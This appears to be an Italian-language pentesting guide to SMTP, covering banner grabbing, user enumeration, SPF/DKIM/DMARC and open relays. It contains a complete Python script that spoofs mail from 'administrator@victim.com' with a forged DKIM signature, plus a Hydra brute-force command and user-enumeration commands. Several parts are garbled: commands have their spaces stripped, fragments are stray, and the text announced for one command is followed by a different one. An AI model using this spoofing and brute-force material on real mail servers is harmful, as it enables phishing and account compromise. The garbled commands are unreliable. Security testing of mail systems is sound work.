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Informazioni di base
Il Simple Mail Transfer Protocol (SMTP) è un protocollo utilizzato all'interno della suite TCP/IP per il invio e la ricezione di e-mail. A causa delle sue limitazioni nel mettere in coda i messaggi alla fine del destinatario, SMTP è spesso impiegato insieme a POP3 o IMAP. Questi protocolli aggiuntivi consentono agli utenti di memorizzare i messaggi su una casella di posta del server e di scaricarli periodicamente.
In pratica, è comune che i programmi di posta elettronica utilizzino SMTP per inviare e-mail, mentre utilizzano POP3 o IMAP per riceverle. Nei sistemi basati su Unix, sendmail si distingue come il server SMTP più frequentemente utilizzato per scopi di posta elettronica. Il pacchetto commerciale noto come Sendmail comprende un server POP3. Inoltre, Microsoft Exchange fornisce un server SMTP e offre l'opzione di includere il supporto POP3.
Porta predefinita: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
EMAIL Headers
Se hai l'opportunità di far inviare alla vittima un'email (ad esempio tramite il modulo di contatto della pagina web), fallo perché potresti apprendere la topologia interna della vittima osservando le intestazioni dell'email.
Puoi anche ottenere un'email da un server SMTP cercando di inviare a quel server un'email a un indirizzo inesistente (perché il server invierà all'attaccante un'email NDN). Ma assicurati di inviare l'email da un indirizzo consentito (controlla la politica SPF) e che tu possa ricevere messaggi NDN.
Dovresti anche provare a inviare contenuti diversi perché potresti trovare informazioni più interessanti nelle intestazioni come: X-Virus-Scanned: by av.domain.com
Dovresti inviare il file di test EICAR.
Rilevare il AV potrebbe permetterti di sfruttare vulnerabilità note.
Basic actions
Banner Grabbing/Basic connection
SMTP:
nc-vn<IP>25
SMTPS:
openssls_client-crlf-connectsmtp.mailgun.org:465#SSL/TLS without starttls commandopenssls_client-starttlssmtp-crlf-connectsmtp.mailgun.org:587
Or automate this with nmap plugin smtp-ntlm-info.nse
Nome del server interno - Divulgazione delle informazioni
Alcuni server SMTP completano automaticamente l'indirizzo di un mittente quando viene emesso il comando "MAIL FROM" senza un indirizzo completo, rivelando il suo nome interno:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Sniffing
Controlla se riesci a sniffare qualche password dai pacchetti sulla porta 25
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Rapporti DSN
Rapporti di Notifica di Stato di Consegna: Se invii un email a un'organizzazione a un indirizzo non valido, l'organizzazione ti notificherà che l'indirizzo era invalido inviando un messaggio di posta di ritorno. Le intestazioni dell'email restituita conterranno possibili informazioni sensibili (come l'indirizzo IP dei servizi di posta che hanno interagito con i rapporti o informazioni sul software antivirus).
print("[***]successfully sent email to %s:" % (msg['To']))
</details>
## SMTP Smuggling
La vulnerabilità SMTP Smuggling ha permesso di bypassare tutte le protezioni SMTP (controlla la sezione successiva per ulteriori informazioni sulle protezioni). Per ulteriori informazioni su SMTP Smuggling controlla:
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
[smtp-smuggling.md](smtp-smuggling.md)
</div>
## Contromisure per il Mail Spoofing
Le organizzazioni sono protette dall'invio di email non autorizzate a loro nome impiegando **SPF**, **DKIM** e **DMARC** a causa della facilità di spoofing dei messaggi SMTP.
Una **guida completa a queste contromisure** è disponibile su [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
<div data-gb-custom-block data-tag="hint" data-style='danger'>
SPF [è stato "deprecato" nel 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Questo significa che invece di creare un **record TXT** in `_spf.domain.com` lo crei in `domain.com` utilizzando la **stessa sintassi**.\
Inoltre, per riutilizzare i record spf precedenti è abbastanza comune trovare qualcosa come `"v=spf1 include:_spf.google.com ~all"`
</div>
**Sender Policy Framework** (SPF) è un meccanismo che consente ai Mail Transfer Agents (MTAs) di verificare se un host che invia un'email è autorizzato interrogando un elenco di server di posta autorizzati definiti dalle organizzazioni. Questo elenco, che specifica indirizzi/range IP, domini e altre entità **autorizzate a inviare email per conto di un nome di dominio**, include vari "**Meccanismi**" nel record SPF.
#### Meccanismi
Da [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Meccanismo | Descrizione |
| -----------| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Corrisponde sempre; utilizzato per un risultato predefinito come `-all` per tutti gli IP non corrispondenti ai meccanismi precedenti. |
| A | Se il nome di dominio ha un record di indirizzo (A o AAAA) che può essere risolto nell'indirizzo del mittente, corrisponderà. |
| IP4 | Se il mittente è in un dato range di indirizzi IPv4, corrisponde. |
| IP6 | Se il mittente è in un dato range di indirizzi IPv6, corrisponde. |
| MX | Se il nome di dominio ha un record MX che risolve nell'indirizzo del mittente, corrisponderà (cioè la posta proviene da uno dei server di posta in arrivo del dominio). |
| PTR | Se il nome di dominio (record PTR) per l'indirizzo del cliente è nel dominio dato e quel nome di dominio si risolve nell'indirizzo del cliente (DNS inverso confermato), corrisponde. Questo meccanismo è sconsigliato e dovrebbe essere evitato, se possibile. |
| EXISTS | Se il nome di dominio dato si risolve in qualsiasi indirizzo, corrisponde (indipendentemente dall'indirizzo a cui si risolve). Questo è raramente usato. Insieme al linguaggio macro SPF offre corrispondenze più complesse come le query DNSBL. |
| INCLUDE | Riferisce alla politica di un altro dominio. Se la politica di quel dominio passa, questo meccanismo passa. Tuttavia, se la politica inclusa fallisce, l'elaborazione continua. Per delegare completamente alla politica di un altro dominio, deve essere utilizzata l'estensione di reindirizzamento. |
| REDIRECT | <p>Un reindirizzamento è un puntatore a un altro nome di dominio che ospita una politica SPF, consente a più domini di condividere la stessa politica SPF. È utile quando si lavora con un gran numero di domini che condividono la stessa infrastruttura email.</p><p>La politica SPF del dominio indicato nel meccanismo di reindirizzamento sarà utilizzata.</p> |
È anche possibile identificare **Qualificatori** che indicano **cosa dovrebbe essere fatto se un meccanismo corrisponde**. Per impostazione predefinita, viene utilizzato il **qualificatore "+"** (quindi se un meccanismo corrisponde, significa che è consentito).\
Di solito noterai **alla fine di ogni politica SPF** qualcosa come: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non attendibile (\~) o rifiutare (-) l'email.**
#### Qualificatori
Ogni meccanismo all'interno della politica può essere preceduto da uno dei quattro qualificatori per definire il risultato previsto:
* **`+`**: Corrisponde a un risultato PASS. Per impostazione predefinita, i meccanismi assumono questo qualificatore, rendendo `+mx` equivalente a `mx`.
* **`?`**: Rappresenta un risultato NEUTRALE, trattato in modo simile a NONE (nessuna politica specifica).
* **`~`**: Denota SOFTFAIL, fungendo da punto intermedio tra NEUTRAL e FAIL. Le email che soddisfano questo risultato sono tipicamente accettate ma contrassegnate di conseguenza.
* **`-`**: Indica FAIL, suggerendo che l'email dovrebbe essere rifiutata.
Nell'esempio seguente, viene illustrata la **politica SPF di google.com**. Nota l'inclusione delle politiche SPF di diversi domini all'interno della prima politica SPF:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/assente. Oggigiorno, se l'email proviene da un dominio senza un record SPF valido verrà probabilmente rifiutata/marcata come non affidabile automaticamente.
DKIM è utilizzato per firmare le email in uscita, consentendo la loro validazione da parte di agenti di trasferimento di posta esterni (MTA) attraverso il recupero della chiave pubblica del dominio dal DNS. Questa chiave pubblica si trova nel record TXT di un dominio. Per accedere a questa chiave, è necessario conoscere sia il selettore che il nome del dominio.
Ad esempio, per richiedere la chiave, il nome del dominio e il selettore sono essenziali. Questi possono essere trovati nell'intestazione della mail DKIM-Signature, ad esempio, d=gmail.com;s=20120113.
Un comando per recuperare queste informazioni potrebbe apparire così:
dig20120113._domainkey.gmail.comTXT|grepp=# This command would return something like:20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC migliora la sicurezza delle email costruendo sui protocolli SPF e DKIM. Definisce politiche che guidano i server di posta nella gestione delle email da un dominio specifico, inclusi come gestire i fallimenti di autenticazione e dove inviare rapporti sulle azioni di elaborazione delle email.
Per ottenere il record DMARC, è necessario interrogare il sottodominio _dmarc
Daqui.
È necessario avere record SPF separati per ogni sottodominio da cui si desidera inviare email.
Quanto segue è stato originariamente pubblicato su openspf.org, che era una grande risorsa per questo tipo di cose.
La Domanda Demon: E i sottodomini?
Se ricevo email da pielovers.demon.co.uk, e non ci sono dati SPF per pielovers, dovrei tornare a un livello e testare SPF per demon.co.uk? No. Ogni sottodominio di Demon è un cliente diverso, e ogni cliente potrebbe avere la propria politica. Non avrebbe senso che la politica di Demon si applicasse a tutti i suoi clienti per impostazione predefinita; se Demon vuole farlo, può impostare record SPF per ogni sottodominio.
Quindi il consiglio per i publisher SPF è questo: dovresti aggiungere un record SPF per ogni sottodominio o hostname che ha un record A o MX.
I siti con record A o MX wildcard dovrebbero avere anche un record SPF wildcard, della forma: * IN TXT "v=spf1 -all"
Questo ha senso: un sottodominio potrebbe trovarsi in una posizione geografica diversa e avere una definizione SPF molto diversa.
Open Relay
Quando vengono inviate email, è cruciale garantire che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un server di relay di fiducia per il destinatario. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere pienamente consapevoli di quali intervalli IP siano sicuri da consentire. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio frequentemente identificato nelle valutazioni di sicurezza.
Una soluzione alternativa che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente riguardo alle comunicazioni con clienti potenziali o in corso, è consentire connessioni da qualsiasi indirizzo IP. Questo viene fatto configurando il parametro mynetworks del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito:
mynetworks=0.0.0.0/0
Per verificare se un server di posta è un open relay (il che significa che potrebbe inoltrare email da qualsiasi fonte esterna), lo strumento nmap è comunemente utilizzato. Include uno script specifico progettato per testare questo. Il comando per eseguire una scansione dettagliata su un server (ad esempio, con IP 10.10.10.10) sulla porta 25 utilizzando nmap è:
# This will send a test email from test@victim.com to destination@gmail.compython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com# But you can also modify more options of the emailpython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com--subjectTEST--senderadministrator@victim.com
Se ricevi un errore utilizzando la libreria python dkim durante l'analisi della chiave, sentiti libero di utilizzare questa seguente.
NOTA: Questa è solo una soluzione temporanea per effettuare controlli rapidi nei casi in cui, per qualche motivo, la chiave privata openssl non possa essere analizzata da dkim.
# Questo invierà un messaggio non firmatomail("your_email@gmail.com", "Oggetto di Test!", "hey! Questo è un test", "Da: administrator@victim.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)
Di solito, se installato, in /etc/postfix/master.cf contiene script da eseguire quando, ad esempio, una nuova email viene ricevuta da un utente. Ad esempio, la riga flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} significa che /etc/postfix/filtering verrà eseguito se una nuova email viene ricevuta dall'utente mark.
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
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